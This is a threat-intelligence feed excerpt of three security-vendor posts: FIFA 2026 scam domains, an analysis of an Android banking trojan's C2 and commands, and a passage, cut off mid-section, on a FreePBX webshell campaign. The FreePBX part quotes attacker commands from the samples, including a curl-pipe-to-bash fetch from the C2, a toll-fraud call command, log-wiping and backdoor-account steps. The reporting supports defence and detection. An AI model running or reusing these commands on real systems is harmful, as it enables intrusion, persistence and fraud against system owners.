fifaworldcup26[.]sale	fifaworldcup26.xcover-staging[.]com
worldcup2026-tickets.com[.]mx	worldcup26ticket[.]com
2026fifaworldcuptickets[.]online	fwc2026[.]net
fwc2026.web[.]app	www.fifa2026p[.]com
fifa2026fworldcup[.]com	wvvw-fifa[.]com
ww-fifa[.]com	fifa-com[.]com
www.fifa-com[.]services	quiniela-fifa-2026.pages[.]dev

Source: FBI PSA — Domains defanged for safety 

Is your brand being spoofed? Cyble tracks typosquatted domains in real time
Request a demo

Cyble researchers tracked these domains and confirmed that many were still operational at the time of publishing. Notably, even when a malicious domain is taken down, new ones tend to appear almost instantaneously. The fraudulent infrastructure is not a one-time campaign — it is continuously regenerating. 

Fake FIFA Hospitality, Ticket, and Sale Sites 

One of the most convincing examples identified by Cyble researchers was ww-fifa[.]com — a classic typosquatting attack that removes a single "w" from the legitimate FIFA URL. The site presents itself as an official FIFA World Cup 2026 portal, complete with tournament branding, navigation menus, ticket information, and hospitality package offers. 

Visitors to this site are encouraged to purchase premium packages that include tickets, food, beverages, lounge access, and related services — all fraudulent. 

Cyble researchers identified several indicators that expose the site as illegitimate: 

• Duplicate page titles appearing twice in the browser tab 

• Missing or broken images throughout the site 

• Navigation links leading to attacker-controlled pages 

• Ticket purchase prompts requesting personal and financial information with no legitimate payment processing 

What makes these sites especially dangerous is the sophistication of the presentation. Unlike the crude phishing pages of a decade ago, modern FIFA 2026 scam sites replicate the visual design of official sports portals convincingly enough to pass a casual inspection. 

Security Vendors Have Already Flagged FIFA-Related Domains 

Cyble researchers analyzed the domain fifa[.]help using VirusTotal and found that, at the time of analysis, 15 out of 92 security vendors had classified it as malicious. Vendor classifications included phishing, fraud, and related threat categories. 

While a detection rate of 15/92 may seem modest, it represents significant early-stage flagging. Many security vendors lag in classifying newly registered domains, so the fact that multiple established providers had already flagged this domain confirms a credible threat.  

As these domains age and accumulate more malicious activity reports, detection rates will rise — but by then, victims will already have been targeted. 

Download Cyble's Annual Threat Landscape Report to track global scam trends

Fake FIFA Recruitment Sites Are Also Active 

Not all FIFA World Cup 2026 scams target ticket buyers or fans. Cyble researchers identified an entirely separate fraud vector targeting job seekers: the domain fifaworldcup-careers[.]com, which presents itself as a FIFA employment portal for World Cup-related positions. 

VirusTotal data revealed: 

• www.fifaworldcup-careers[.]com was flagged by 8 out of 91 vendors 

• The root domain was flagged by 14 out of 91 vendors 

• The domain resolved to multiple IP addresses, including 3.71.180.249, 13.249.91.65, and 13.249.91.101 

The use of multiple IP addresses suggests the domain may be operating behind content delivery or load-balancing infrastructure, which makes takedowns significantly more difficult to execute. 

WHOIS data shows the domain was registered and updated in mid-to-late April 2026, with the registrant's identity hidden behind a privacy shield. Two SSL certificates were also issued on April 15 and April 16, including a wildcard certificate covering *.fifaworldcup-careers[.]com — a sign of deliberate, technically capable infrastructure setup rather than an opportunistic amateur operation. 

Threat actors target employees too. See how Cyble detects campaigns early.
Protect Your Organization!

Why this matters: Job seekers searching for World Cup-related employment — hospitality roles, security staff, event coordinators, media positions — are a highly vulnerable and largely overlooked audience. These individuals are not on guard for ticket scams; they are in application mode, and they will willingly submit full personal information, resumes, and even government ID to what they believe is a legitimate employer. 

How to Avoid FIFA World Cup 2026 Ticket Scams 

As fans search for how to watch the FIFA World Cup 2026 or purchase tickets, the FBI recommends the following precautions: 

• Type fifa.com directly into your browser's address bar — never rely on search results or links in messages 

• Avoid sponsored search results, which can be purchased by attackers to appear above legitimate results 

• Confirm that the URL is exactly www.fifa.com before entering any information 

• Use saved bookmarks or browser favorites when revisiting FIFA websites 

• Access FIFA subdomains only through the official homepage, not by typing them directly 

• Be cautious of websites with broken graphics, poor-quality branding, or duplicate content 

• Do not provide sensitive information unless the site's legitimacy has been independently verified 

• Review URLs carefully before clicking any advertisements 

These steps are especially important for avoiding FIFA 2026 ticket price scams, where attackers create a false sense of urgency through fake discounts, exclusive hospitality offers, or limited-time deals that pressure users into making fast payment decisions. 

How to Watch FIFA World Cup 2026 Safely 

Scammers are targeting not only ticket buyers but viewers as well. Fraudulent streaming platforms are expected to proliferate as the tournament approaches, exploiting the high demand for match access — particularly from fans in regions where official broadcasts are expensive or limited. 

To reduce risk when looking for FIFA World Cup 2026 streaming options: 

• Use only official FIFA channels and licensed regional broadcasters for tournament information 

• Watch matches exclusively through broadcasters licensed for your region 

• Avoid streaming links shared through unsolicited emails, social media messages, or WhatsApp groups 

• Verify URLs carefully before creating accounts or entering any payment information 

• Be cautious of websites offering heavily discounted subscription packages or "exclusive" access to all matches 

Many fake streaming platforms use the same tactics seen in FIFA ticket scams: they exploit demand for tournament content to harvest personal and financial information, either immediately or through credential-stuffing attacks down the line. 

What To Do If You Become a Victim of a FIFA World Cup 2026 Scam 

The FBI expects additional spoofed domains to appear throughout the tournament period — before, during, and after matches. If you encounter a suspected FIFA World Cup 2026 scam, document as much information as possible before the site disappears, including: 

• The fraudulent domain name 

• Screenshots of the website 

• Any communication records (emails, SMS, chat logs) 

• Payment details if a transaction occurred 

• Cryptocurrency wallet addresses, if applicable 

Victims can file a complaint with the Internet Crime Complaint Center (IC3) at ic3.gov and should include the fake domain involved, details of all interactions with the site, information submitted to the scammers, payment records, receiving financial institution information, and any cryptocurrency transaction details. 

Reporting promptly not only helps your case but also contributes to the broader effort to get these domains flagged and taken down faster. 

Protect Your Brand from Fake FIFA World Cup 2026 Phishing Campaigns 

Major global events like the FIFA World Cup create a concentrated window of opportunity for cybercriminals to launch phishing campaigns, register fraudulent domains, and impersonate trusted brands. As the active FIFA-related scam infrastructure identified by Cyble researchers demonstrates, this is not a theoretical risk — it is a live and expanding threat landscape. 

Organizations operating in travel, hospitality, ticketing, media, and any sector adjacent to the FIFA World Cup 2026 need proactive brand protection measures in place now — not after the first incident. 

Cyble's Brand Intelligence solution helps organizations detect malicious domains, phishing websites, brand impersonation attempts, and other forms of digital abuse in real time. Combined with Dark Web and Cyber Crime Monitoring and Takedown & Disruption services, security teams can identify threats early, investigate malicious activity, and accelerate the removal of fraudulent infrastructure before it causes financial or reputational damage. 

Deploy Brand Protection Now

Check out how Cyble helps organizations detect, monitor, and disrupt phishing campaigns, fraudulent domains, and brand abuse before they lead to financial loss or reputational damage. 

Frequently Asked Questions 

The post FIFA World Cup 2026 Scams Are Already Active: Fake Domains, Phishing Sites, and How to Stay Safe appeared first on Cyble.

Executive Summary

Cyble Research and Intelligence Labs (CRIL) has identified a novel Android banking trojan, dubbed OverlayPhantom, actively distributed in the wild via malicious URLs.

The malware employs a two-stage infection chain, using a dropper application that impersonates trusted platforms, including the official Austrian government identity application, ID Austria, and the widely used consumer platform TikTok, to deceive victims into installing it.

Once deployed, OverlayPhantom masquerades as "Google Play Services" and abuses Android's Accessibility Service to gain persistent, elevated control of the infected device.

The malware is capable of executing over 30 remote commands, conducting real-time screen streaming, performing overlay attacks using embedded HTML phishing pages, and exfiltrating harvested credentials to a multi-port Command and Control (C&C) infrastructure.

Victimology

OverlayPhantom, active since May 2025, targets over 180 applications across banking, financial services, and cryptocurrency platforms, spanning 10 countries, including the United States, Australia, Germany, France, Belgium, Finland, the Netherlands, Italy, Spain, and the United Kingdom.

The breadth of its targeting, combined with its operational sophistication, indicates a financially motivated threat actor with the capability and intent to conduct large-scale fraud across Western markets.

Key Takeaways

• OverlayPhantom is a sophisticated Android banking trojan distributed via phishing URLs that impersonate high-trust applications.
• The malware deploys via a dropper application that simulates a fake Google Play service update and guides victims to enable the Accessibility Service.
• It abuses Android's Accessibility Service to silently monitor foreground app activity, intercept user input, simulate gestures, and maintain persistent control over the infected device.
• The malware currently targets over 180 banking, finance, and cryptocurrency applications across 10 countries using embedded WebView-based HTML phishing overlays that are visually indistinguishable from the legitimate apps they impersonate.
• C&C communication is handled over three dedicated non-standard ports — 9091 for command dispatch, 9092 for device status reporting, and 9090 for screen streaming.
• OverlayPhantom supports over 30 remote commands, enabling the threat actor to perform automated gestures, manipulate clipboard content, lock the device screen, display fake notifications, and capture PIN or password input via custom overlay windows.
• A built-in JPEG-based screen streaming capability, powered by Android's MediaProjection API, grants the threat actor near real-time visual access to the victim's device screen with minimal bandwidth overhead.

Overview

During an investigation into government-themed URL impersonation, Cyble Research and Intelligence Labs (CRIL) uncovered a previously undocumented Android banking trojan, dubbed OverlayPhantom.

The malware is being actively distributed in the wild through malicious URLs and masquerades as legitimate, high-trust applications to deceive users into installing it. CRIL’s analysis indicates that OverlayPhantom has been active since early May 2025.

The initial sample discovered was hosted at hxxps://bitlrewards-app[.]com/api/download/IDAustria, distributing a malicious APK masquerading as ID Austria — the official Austrian government digital identity application.

The choice of this lure is significant, as impersonating a government identity service creates a strong social engineering pretext, particularly for victims who may be prompted to grant sensitive permissions under the guise of identity verification.

A second sample attributed to the same malware was identified impersonating TikTok and appeared to target users in Spain. The use of a high-popularity consumer application as a secondary lure indicates the threat actor is deliberately diversifying their distribution strategy across both institutional and consumer-facing decoys.

Although the distribution URL and observed sample appeared to target Austria, source code analysis revealed that OverlayPhantom is configured to target more than 180 applications across banking, financial services, and cryptocurrency platforms in multiple geographies, including the United States, Australia, Germany, France, Belgium, Finland, the Netherlands, Italy, Spain, and the United Kingdom. This wide targeting scope suggests a financially motivated threat actor operating a scalable and well-resourced campaign.

The malware abuses Android's Accessibility Service, a recurring technique among sophisticated Android banking trojans, to gain elevated control over the infected device.

Observed capabilities include overlay attacks to harvest credentials by displaying fraudulent screens over legitimate banking applications, real-time screen streaming to exfiltrate sensitive on-screen data, and automated action execution to perform unauthorized transactions and interactions without user awareness.

The combination of government and consumer app impersonation, wide geographic and sector targeting, and abuse of core Android accessibility features positions OverlayPhantom as a significant threat to both retail banking customers and cryptocurrency users across Western markets.

Technical Analysis

OverlayPhantom employs a two-stage delivery mechanism, utilizing a dropper application as the initial infection vector before deploying the core malware payload.

Upon execution, the dropper presents the victim with a convincing fake Google Play update screen, social-engineering the user into voluntarily installing what appears to be a legitimate system update. This technique effectively bypasses user suspicion by leveraging the inherent trust associated with the Google Play ecosystem.

Additionally, the dropper includes an interactive step-by-step tutorial that guides the victim through enabling the Accessibility Service.

Once the victim completes the installation, the OverlayPhantom payload is installed onto the device. The malware immediately prompts the user to grant Accessibility Service permissions. Subsequently, it masquerades as "Google Play Services", making it significantly harder for the victim to identify or remove the malicious application.

Command & Control Communication

Once the victim grants the Accessibility Service permission, OverlayPhantom immediately establishes communication with its Command and Control (C&C) server at hxxps://199.217[.]99[.]122, utilizing a socket-based connection for real-time bidirectional communication between the infected device and the threat actor's infrastructure.

Notably, the malware does not rely on a single communication channel. Instead, it distributes its C&C traffic across three dedicated ports, as listed below:

Port	Description
9092	Used for device status and reporting
9091	Used as a Command and Control channel
9090	Used for screen streaming

Over OverlayPhantom, port 9091 receives operator-issued commands, executes them on the victim's device, and subsequently relays stolen data or execution status reports back to the server.

Analysis of the malware's source code reveals that OverlayPhantom can execute over 30 distinct commands, reflecting the breadth of control the threat actor can exert over a compromised device.

The full command set is detailed in the table below.

Command	Description
tap	Performs a Tap Gesture
doubleTap	Performs a double-tap gesture
longPress	Performs a long-press gesture
swipe	Performs a swipe gesture
draw	Performs a custom gesture path
openRecents	Opens the Recent Apps screen
switchScreen	Keep the screen on from the locked state
volumeUp	Increases Audio Volume
volumeDown	Reduces the volume
power	Open the power menu
brightSettings	Open display settings
back	Performs back action
home	Performs home action
buf	Set the attacker-provided text to the clipboard content
target	Malware receives the list of target applications
startStreamJpeg	Initiates screen streaming
stopStreamJpeg	Stops screen streaming
startStreamACNode	Start sending Accessibility node information
stopStreamACNode	Stop sending Accessibility node information
ping	Maintaining the keepalive mechanism
Pong	Maintaining the keepalive mechanism
stub	Not implemented
register	Registers the device with BotID
resendInj	Reset target package injection list
rmResend	Deletes the file received from the server
switchOffScreen	Lock the device screen
blankScreen	Display a blank overlay screen
blankScreenRm	Removes the blank overlay screen
pinj	Display an overlay window to collect a PIN, a password or a draw pattern
notif	Displays a fake notification banner using the target app icon and name

Overlay Attack: Targeting Banking, Finance, and Cryptocurrency Applications

OverlayPhantom leverages the Accessibility Service to continuously monitor foreground application activity on the infected device. The malware maintains a hardcoded target application list embedded in its source code and includes a collection of counterfeit HTML phishing pages bundled directly into the APK's resources.

These pages are meticulously crafted to impersonate legitimate banking and financial applications, deceiving victims into submitting their credentials or payment card details.

When the victim launches a banking or financial application, OverlayPhantom silently checks whether the application's package name is present in its target list.

Upon a positive match, the malware retrieves the corresponding phishing page from its internal resources, renders it in an embedded WebView, and displays it as a seamless overlay window directly above the legitimate application. From the victim's perspective, the experience is indistinguishable from interacting with the genuine application.

Once the victim enters their credentials into the fraudulent overlay, OverlayPhantom harvests the submitted username, password, or card details and silently exfiltrates the stolen data to the C&C server, completing the credential theft cycle without raising any visible indication of compromise on the device.

Screen Streaming

OverlayPhantom provides real-time screen streaming via JPEG, which can be controlled remotely via the startStreamJpeg and stopStreamJpeg commands.

Upon receiving the startStreamJpeg command, the malware initiates a screen capture using Android's MediaProjection API, creating a VirtualDisplay instance named jpeg-stream and attaching it to an ImageReader to continuously capture the device's screen.

The output is resized to a fixed width of 540 pixels, with the height dynamically calculated to preserve the victim device's native screen aspect ratio.

While screen capture is active, the malware establishes a TCP connection to the C&C server on port 9090. Before transmitting any frames, it sends a bot and session identifier, derived from the malware's configured Bot ID and the device ID, to register the streaming session with the operator.

The malware then enters a continuous capture loop, calling acquireLatestImage() to fetch the latest screen frame, converting it into a Bitmap, compressing it as a JPEG, and writing the resulting bytes directly to the socket.

This provides the threat actor with near-real-time visibility into the victim's screen activity while keeping bandwidth consumption lower than that of raw frame transmission.

The streaming loop incorporates resilience logic to handle interruptions gracefully. If no frame is available, the malware briefly sleeps and resumes polling. In the event of a socket failure, it increments a retry counter, pauses for approximately two seconds, closes the active stream and socket, and attempts to re-establish the connection.

Once the retry threshold is exceeded, the streaming flag is disabled to prevent an indefinite number of reconnection attempts. The operator can terminate the stream at any time by issuing the stopStreamJpeg command, which flips the streaming state and invokes the corresponding service logic to cleanly shut down the capture session.

Conclusion

OverlayPhantom represents a mature and methodically engineered Android banking threat. From its deceptive dropper stage — which exploits user trust in the Google Play ecosystem — to its abuse of the Accessibility Service, multi-port C&C architecture, overlay-based credential harvesting, and real-time screen streaming, the malware demonstrates a high degree of operational sophistication.

Its broad targeting scope, encompassing over 180 banking, financial, and cryptocurrency applications across 10 countries at the time of this analysis, further underscores the scale of the threat actor's ambitions. Based on the observed functionality, we anticipate the threat actor’s targeting scope and potential blast radius will continue to expand.

The techniques employed by OverlayPhantom are not novel in isolation, but their combination, particularly the use of government and consumer application lures, hardcoded phishing overlays, and granular remote-control capabilities, reflects a threat actor with both the technical capability and the strategic intent to conduct large-scale financial fraud across multiple regions.

Organizations and individuals operating in the targeted geographies should treat this threat with a high degree of urgency.

Our Recommendations

We have listed some essential cybersecurity best practices that serve as the first line of defense against attackers. We recommend that our readers follow the best practices given below:

• Install Apps Only from Trusted Sources:
  Download apps exclusively from official platforms, such as the Google Play Store. Avoid third-party app stores or links received via SMS, social media, or email.
• Be Cautious with Permissions and Installs:
  Never grant permissions and install an application unless you're certain of an app's legitimacy.
• Watch for Phishing Pages:
  Always verify the URL and avoid suspicious links and websites that ask for sensitive information.
• Enable Multi-Factor Authentication (MFA):
  Use MFA for banking and financial apps to add an extra layer of protection, even if credentials are compromised.
• Report Suspicious Activity:
  If you suspect you've been targeted or infected, report the incident to your bank and local authorities immediately. If necessary, reset your credentials and perform a factory reset.
• Use Mobile Security Solutions:
  Install a mobile security application that includes real-time scanning.
• Keep Your Device Updated:
   Ensure your Android OS and apps are updated regularly. Security patches often address vulnerabilities exploited by malware.

MITRE ATT&CK® Techniques

Tactic	Technique ID	Procedure
Initial Access (TA0027)	Phishing (T1660)	OverlayPhantom is distributed via phishing sites
Persistence (TA0028)	Event Triggered Execution: Broadcast Receivers (T1624.001)	OverlayPhantom implemented a broadcast receiver for screen capturing
Defense Evasion (TA0030)	Hide Artifacts: Suppress Application Icon (T1628.001)	OverlayPhantom hides its icon
Defense Evasion (TA0030)	Obfuscated Files or Information (T1406)	Malware uses obfuscated strings
Defense Evasion (TA0030)	Masquerading: Match Legitimate Name or Location (T1655.001)	OverlayPhantom masquerades as Google Play Service
Credential Access (TA0030)	Abuse Accessibility Features (T1453)	OverlayPhantom abuses Accessibility service
Discovery (TA0032)	Software Discovery  (T1418)	OverlayPhantom checks the installed application list against the target list
Collection (TA0035)	Screen Capture (T1513)	OverlayPhantom captures screen content
Command & Control (TA0037)	Application Layer Protocol (T1437)	OverlayPhantom communicates with C2 over TCP
Command & Control (TA0037)	Non-Standard Port (T1509)	OverlayPhantom uses a non-standard port
Exfiltration (TA0036)	Exfiltration Over C2 Channel (T1646)	OverlayPhantom exfiltrates data to the C&C server

Indicators of Compromise (IOCs)

Indicators	Indicator type	Description
hxxps://bitlrewards-app[.]com/api/download/IDAustria	URL	Distribution URL
199.217[.]99[.]122	IP	C&C server
9ef37376bfaa18e193cc72218924ad8ebf56d2667d348f0eae5ae6ec45ab8775 f8b614a2918378063d6e6655b676ceb52ae65b1510e2cc08087fcac31acb7aeb 8ddc1f2a75f3d5b5bd054a5367bd5015ebc90f3453d63c7cce438c12dc2ae86a	FileHash-SHA256	OverlayPhantom Hash

The post OverlayPhantom: The Android Banking Trojan Hiding in Plain Sight appeared first on Cyble.

Executive Summary

Cyble Research & Intelligence Labs (CRIL) has identified an active FreePBX exploitation campaign, with high confidence tied to INJ3CTOR3, an actor with a documented history of targeting VoIP infrastructure for financial gain since 2019.

The campaign deploys a multi-stage Bash dropper that introduces JOMANGY, a PHP webshell family with no prior public documentation, alongside ZenharR, previously attributed to the same actor lineage. Every deployed webshell instance carries live VoIP toll fraud code that routes calls through the victim's own SIP trunks at the victim's expense. A C2-hosted IP inventory of 3,080 addresses, assessed as scanner output from a co-located reconnaissance node, reflects the operational scale.

The persistence architecture distinguishes this generation from prior INJ3CTOR3 campaigns. Six independent channels protect each other, spanning cron-based C2 polling, shell profile injection, immutable crontab backups, a process watchdog, chattr +i-protected webshell copies, and a self-reinstalling PHP executor. Any single surviving channel is enough to re-establish the full infection within minutes. Partial remediation is, by design, functionally useless.

The infection chain also drops 18 backdoor accounts across three tiers. Nine have UID-0 (root-equivalent) privileges, eight are service-tier OS accounts, and one is a FreePBX web panel account injected directly into MySQL. Account names are deliberately chosen to blend into the legitimate FreePBX service account inventory.

Key Takeaways

• JOMANGY is a PHP webshell family with no prior public documentation (this analysis being its first description). Every deployed instance uses double-layer obfuscation (base64 over ROT13) and carries the watermark string 'trace_e1ebf9066a951be519a24140711839ea', tying all campaign webshells back to a single source.
• The campaign establishes six independent persistence channels that protect each other: cron-based C2 polling every one to three minutes; shell profile injection firing on root login and reboot; eight chattr +i-immutable crontab backups protected by two separate restore cron loops; a process watchdog that respawns the beacon; chattr +i-protected webshell copies; and a PHP executor with its own cron reinstallation logic. Any single surviving channel re-establishes the full infection within minutes.
• 18 backdoor accounts land across the infection chain in three tiers: nine UID-0 (root-equivalent) OS accounts, eight service-account-tier OS accounts, and one FreePBX web panel account injected directly into MySQL. Account names such as asterisk, asteriskuser, freepbxuser, and spamfilter are deliberately chosen to blend into the legitimate FreePBX service account inventory.
• All three deployed webshell instances carry live VoIP toll fraud code that places calls through the victim's own SIP trunks via asterisk -rx "channel originate Local/<num>@<context>". A C2-hosted IP address inventory (people2.txt, 3,080 entries, assessed as scanner output), with roughly 39% pointing at Alibaba Cloud-hosted infrastructure, highlights the operational scale.
• The Stage 1 dropper evicts 50+ webshell signatures and blocks 11 competitor C2 IPs bidirectionally, while simultaneously self-evicting every artifact from INJ3CTOR3's own January 2026 campaign, consistent with the operator migrating their active botnet from Brazilian to Dutch infrastructure between campaign generations.
• At the time of analysis, we were not able to recover the exploit payload and could not confirm the entry vector from artifacts alone. The artifacts point to two candidate CVEs with high confidence: CVE-2025-64328 (FreePBX filestore module post-auth command injection, the documented prior-campaign entry vector) and CVE-2025-57819 (FreePBX Endpoint module pre-auth SQL injection via cron_jobs, whose WatchTowr Labs PoC artifacts the Stage 1 dropper explicitly evicts).
• Six independent artifact overlaps (the unique marker string `bm2cjjnRXac1WW3KT7k6MKTR`, the INJ3CTOR3 actor name appearing explicitly as an eviction target, the prior C2 `45.234.176.202` in the iptables block list, shared binary names and file paths, the `newfpbx` UID-0 backdoor account, and the MySQL `ampusers` insertion pattern) with Fortinet's January 2026 encystPHP report tie this campaign to INJ3CTOR3, corroborated by Check Point Research (2020), Palo Alto Unit 42 (2022), and SANS ISC diary #32892 (2026-04-13). The C2 URL framework (/k.php, /z/wr.php, /z/post/root.php) has been in continuous operation since at least 2021.
• k.php (100259af)and wr.php (d40180f7) were absent from VirusTotal at the time of analysis. The primary dropper (b506fc82) had four detections across 76 engines. The operator actively rotates k.php content, which further degrades signature coverage over time.

Attribution

We attribute the JOMANGY campaign to INJ3CTOR3 with high confidence based on the following:

• The eviction routine names bm2cjjnRXac1WW3KT7k6MKTR as a grep target (the same unique marker Fortinet identified in the January 2026 encystPHP dropper) and also names INJ3CTOR3 directly as an eviction target in the same block.
• The rest of the Fortinet overlaps (prior C2 45[.]234[.]176[.]202 in the iptables block list, shared file paths and binary names, the newfpbx UID-0 backdoor, the MySQL ampusers pattern) confirm this. Unit 42 documented the same ZenharR toolset and identical C2 URL structure against the same actor in 2022.
• SANS ISC diary #32892 independently identified the current C2 and the shared password hash in April 2026. Check Point Research traced the same eviction targets, b3d0r and yokyok, to this actor's CVE-2019-19006 campaign in 2020.

For anyone tracking this actor long-term, it is worth noting that Juba was explicitly deleted and evicted in the January 2026 dropper. Yet, the current Stage 1 resets its password without recreating the account.

An operator working from someone else’s scripts would not know which dormant accounts to password-cycle. The motivation behind this is toll fraud, as in every generation of this campaign, since 2019. (See Figure 2)

Victimology and Target Profile

The 3,080-IP inventory (people2.txt) is mostly APAC cloud: Alibaba Cloud, which spans China, Hong Kong, and Singapore, accounts for roughly 39%. The C2 was live during artifact collection, and the operator was actively updating the list between snapshots.

The Elastix SQLite database theft (/var/www/db/acl.db) and the use of account names such as Issabel and Sangoma indicate that the operator is targeting every major PBX platform family across Latin America, Southeast Asia, and the Middle East.

The 2 in people2.txt likely implies an earlier version of the list exists somewhere. Across 3,080 assessed entries, this is assessed as automated mass exploitation rather than a targeted campaign. (See Figure 3)

Background

VoIP toll fraud is one of the leading categories in a $41.82 billion global telecom fraud problem (CFCA, Global Fraud Loss Survey 2025 & [9]) that rarely makes it into mainstream security coverage.

FreePBX and Asterisk deployments have been a consistent target for financially motivated actors for most of the last decade. A FreePBX host with working SIP trunks gives an attacker direct access to the victim's carrier accounts and the ability to originate calls at will.

Toll fraud avoids the operational overhead of ransomware negotiations or finding a data buyer by having the operator route calls through premium-rate numbers (IPRNs) they control or sell capacity to third-party fraud networks and then have the victim's carrier send the bill.

Internet-exposed FreePBX management interfaces number globally in the tens of thousands, with a large fraction running end-of-life releases and minimal host hardening.

INJ3CTOR3 has been exploiting this attack surface continuously since at least 2019. Check Point Research documented the actor's CVE-2019-19006 campaign in 2020. Palo Alto Unit 42 followed with a ZenharR-deploying generation targeting CVE-2021-45461 in 2022. Fortinet then covered the January 2026 encystPHP iteration operating from C2 45[.]234[.]176[.]202.

The Shadowserver Foundation tracked over 900 FreePBX instances that were actively compromised as of February 2026 and were tied to that campaign. By May 2026 (five months after public disclosure), 700+ remained compromised across North America, Europe, Asia, South America, Africa, and Oceania. That number reflects how genuinely difficult these infections are to clear. (See Figure 4)

Shadowserver independently attributed the ongoing compromises to exploitation of CVE-2025-64328, the same CVE that emerges as a candidate for initial access in the current campaign.

We collected the current generation in April 2026 from a Bash dropper still communicating with an active C2 at 45[.]95[.]147[.]178 (using artifacts from C2's web directory also referenced by SANS ISC diary #32892).

Technical Analysis

Initial Access Vector

The earliest recovered artifact (Stage 1, b506fc82) is already executing on the victim system. No exploit payload or HTTP server access logs were recovered, so the initial entry point was not confirmed.

However, two CVEs emerge as high-confidence candidates, each tied to a distinct forensic indicator in the samples.

Every stage from Stage 1 through the license.php executor includes a line that scrubs Apache httpd logs of entries containing the string "restapps" (sed -i '/restapps/d'). The JOMANGY webshell cleanup routine also explicitly targets file patterns associated with WatchTowr Labs' CVE-2025-57819 proof-of-concept.

Files matching *-watchTowr-*.php are searched for and deleted. Both patterns are confirmed in the sample. What they imply about the initial access vector is assessed, not confirmed. (See Figure 5)

CVE-2025-64328 is a post-authentication command-injection vulnerability in the FreePBX filestore module, affecting versions 17.0.2.36 through 17.0.3, and patched in 17.0.3 (CVSS 8.6, FreePBX advisory). CISA added it to the KEV (Known Exploited Vulnerabilities) catalog in February 2026 following Shadowserver Foundation reporting of approximately 900 compromised instances beginning in December 2025.

Fortinet documented CVE-2025-64328 as the entry vector for the January 2026 prior encystPHP campaign operating from C2 45[.]234[.]176[.]202, the same prior campaign whose artifacts the current dropper systematically evicts. That direct lineage makes it a strong candidate for campaign continuity.

There is a caveat, though. CVE-2025-64328 operates through the filestore module at HTTP path /admin/ajax.php?module=filestore&command=testconnection.

The restapps log scrubbing present throughout every stage of the current campaign does not correspond to this module's exploitation path and therefore, cannot be read as evidence of CVE-2025-64328 here.

That restapps log-scrubbing is better understood as a legacy behavioral artifact the actor has carried across every campaign generation since 2022, when CVE-2021-45461 (the Rest Phone Apps module RCE documented by Unit 42) served as the prior-generation entry vector and introduced ZenharR) persists as a carry-forward into the current campaign.

This behavioral continuity is analytically useful for long-term actor tracking, but it does not constrain the current entry vector assessment. CVE-2025-64328 and CVE-2025-57819 remain the high-confidence candidates for the current campaign.

CVE-2025-57819 is a pre-authentication SQL injection vulnerability in the FreePBX Endpoint module. WatchTowr Labs documented active exploitation beginning September 2025, through a mechanism that inserts a malicious entry into the Endpoint module's cron_jobs database table, causing FreePBX's internal scheduler to execute arbitrary OS commands at one-minute intervals, a mechanism architecturally identical to this campaign's own cron-persistence model (WatchTowr Labs CVE-2025-57819 proof-of-concept).

The pre-authentication nature is consistent with mass automated exploitation across a 3,080-entry assessed target inventory. The architecture presents an additional indicator: the prior encystPHP dropper (71d94479) explicitly disabled the Endpoint module (chmod 000 endpoint/ajax.php) and (fwconsole ma uninstall endpoint, fwconsole ma delete endpoint). (See Figure 6)

The current campaign does not disable the Endpoint module. If CVE-2025-57819 was the entry vector, disabling the module eliminates the entry path itself. An operator who still needs the module active for exploitation would leave it running. Therefore, we treat this architectural inference as the strongest available evidence linking CVE-2025-57819 to the current campaign.

Campaign Architecture and Staging

The infection chain runs across three Bash payload stages, with license.php serving as a PHP executor component written to disk by those stages rather than fetched directly from the C2.

Stage 1 (b506fc82) is the initial Bash dropper where a concurrent re-run variant (/x) re-applies the same host-takeover behaviors on already-owned hosts and is treated as part of Stage 1 rather than a separate stage.

Stage 2 (k.php) deploys the JOMANGY webshell family and is the first one to write license.php to disk.

Stage 3 (wr.php, d40180f7) is a ZenharR dropper that forms a second cron download track running in parallel with k.php. wor.php (995e6304) is a second ZenharR dropper hosted at /z/wor.php on the C2.

It was recovered from the C2 artifact dump, but has no trigger identified in any executed payload in the recovered artifact chain. license.php is a PHP command executor invoked via the FreePBX HA hook; it executes between Stage 2 and Stage 3 in the chain, then again after Stage 3 rewrites it. (See Figure 1 for the campaign architecture flow)

Stage-by-Stage Payload Analysis

Stage 1: Bash Dropper (23,355 bytes, b506fc82)

The dropper runs in a deliberate order. Competitor eviction goes first, followed by credential implantation and persistence installation, with log destruction last. Running eviction up front clears competing implants and defensive tooling before the operator's own infrastructure lands, shrinking the window where both sides' webshells coexist on the same host.

It deletes previously placed download artifacts (devnull24, devnull23, devnull2, and prior campaign iteration artifacts, as confirmed by naming patterns). Lines 15-19 handle two things in parallel:

• A blanket userdel loop which removes all non-root accounts with UID 0 or UID >= 1000,
• A MySQL INSERT establishes the FreePBX web panel backdoor for account freepbxusers with admin-level access (sections=*) and password SHA1 hash 6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9.

Then it runs the bulk competitor webshell eviction, searching /var/www/html/ and /var/www/ for approximately 50 named webshell signatures and deleting matching PHP files. (See Figure 7)

Credential implantation runs in two tiers. Lines 262-264 decode and execute three base64-obfuscated useradd commands that create UID-0 accounts newfpbxs, newfpbx, and xhimax with the shared MD5-crypt password hash. Lines 292-298 create seven more UID-0 accounts in plaintext: centos, admin, support, issabel, sangoma, emo, and xhimax (a redundant second creation of xhimax).

It creates eight non-UID-0 accounts (sugarmaint, spamfilter, asteriskuser, supports, freepbxuser, supermaint, asterisk, and hima), all sharing the same MD5-crypt password hash, and applies (Lines 312-321) the same hash to ten accounts, including root itself, via chpasswd -e. (See Figure 8)

Stage 1 installs persistence across two active tracks. The first is recurring cron polling of k.php every one to three minutes. The second is a shell profile stager appended to /root/.bash_profile, /root/.bashrc, and /etc/rc.local, which run on every root login and system reboot.

Lines 272-278 also execute a one-time phone-home to the C2 root index (http://45[.]95[.]147[.]178/) immediately on first run, separate from the cron infrastructure and effective even if the cron subsystem is blocked at execution time.

The active crontab is written to eight hidden, chattr +i-immutable backup paths using system-mimicking directory names, protected by two independent restore loops and a process watchdog.

Stage 1 deploys no webshells. That work is deferred entirely to Stage 2, an intentional departure from the prior encystPHP generation, which wrote the webshell directly from the initial dropper.

The full per-channel breakdown (including self-healing mechanism) is covered in the Persistence Mechanisms section below. (See Figure 9)

The dropper closes with SSH hardening and log wiping. (See Figure 10)

Stage 2: k.php (100259af, approximately 45KB, Bash)

It opens by fetching and executing /x via curl (curl http://45[.]95[.]147[.]178/x -ks | bash), re-applying the Stage 1 host-takeover behaviors before any webshell deployment begins.

Line 3 decodes a base64 blob and writes it to /var/www/html/admin/views/ajax.php, the FreePBX admin AJAX endpoint, and a high-traffic legitimate file that provides cover for the webshell.

